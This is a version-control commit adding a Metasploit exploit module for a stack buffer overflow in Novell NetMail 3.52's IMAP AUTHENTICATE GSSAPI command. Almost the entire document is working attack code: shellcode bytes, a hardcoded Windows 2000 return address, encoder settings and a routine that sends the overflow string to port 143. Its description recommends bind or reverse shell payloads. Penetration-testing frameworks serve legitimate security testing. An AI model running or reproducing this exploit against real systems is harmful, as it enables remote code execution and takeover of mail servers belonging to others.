added exploit module novell_netmail_auth.rb.

git-svn-id: file:///home/svn/framework3/trunk@4312 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/imap/novell_netmail_auth.rb

@@ -0,0 +1,69 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Imap::Novell_NetMail_Auth < Msf::Exploit::Remote
+
+	include Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'Novell NetMail <=3.52d IMAP AUTHENTICATE Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE
+				GSSAPI command. By sending an overly long string, an attacker can overwrite the
+				buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp
+				or windows/shell_reverse_tcp allows for the most reliable results. 
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 3714 $',
+			'References'     =>
+				[
+					[ 'URL', 'http://www.w00t-shell.net/#' ],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},			
+			'Payload'        =>
+				{
+					'Space'    => 850,
+					'BadChars' => "\x00\x20\x2c\x3a\x40",
+					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
+					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,	
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					[ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 } ],
+				],
+			'DisclosureDate' => 'Jan 7 2007',
+			'DefaultTarget'  => 0))
+
+			register_options( [ Opt::RPORT(143) ], self.class )
+	end
+
+	def exploit
+		connect
+		sock.get_once
+
+		jmp =  "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
+		jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
+		jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"
+
+		sploit  =  "A001 AUTHENTICATE GSSAPI\r\n"
+		sploit  << rand_text_alpha_upper(1258) + payload.encoded + "\xeb\x06"
+		sploit  << rand_text_alpha_upper(2) + [target.ret].pack('V') 
+		sploit  << make_nops(8) + jmp + rand_text_alpha_upper(700)
+		
+		print_status("Trying target #{target.name}...")
+		sock.put(sploit + "\r\n" + "A002 LOGOUT\r\n")
+
+		handler
+		disconnect
+	end
+
+end
+end